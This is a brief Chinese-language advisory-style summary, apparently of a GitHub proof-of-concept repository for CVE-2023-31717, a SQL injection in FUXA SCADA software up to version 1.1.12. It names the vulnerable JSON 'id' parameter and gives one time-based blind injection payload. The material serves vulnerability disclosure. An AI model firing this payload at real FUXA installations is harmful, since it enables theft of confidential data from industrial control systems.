mateustesser/cve-2023-31717概念验证SQL注入利用，针对FUXA SCADA软件（<=1.1.12），通过HTTP POST JSON的id参数实现提取SQLite数据库内容。
可以在传递为 JSON 的 HTTP POST id 参数中进行 SQL Injection，从而能够从 SQLite 数据库中提取机密信息
Payload -> "id":"n_7c734712-aabf4eb3' AND 2630=LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(500000000/2)))) AND 'MIZH'='MIZH"
受影响产品名称: FUXA
受影响版本: <= 1.1.12
问题: SQL Injection
描述: 可以在传递为 JSON 的 HTTP POST id 参数中进行 SQL Injection，从而能够从 SQLite 数据库中提取机密信息
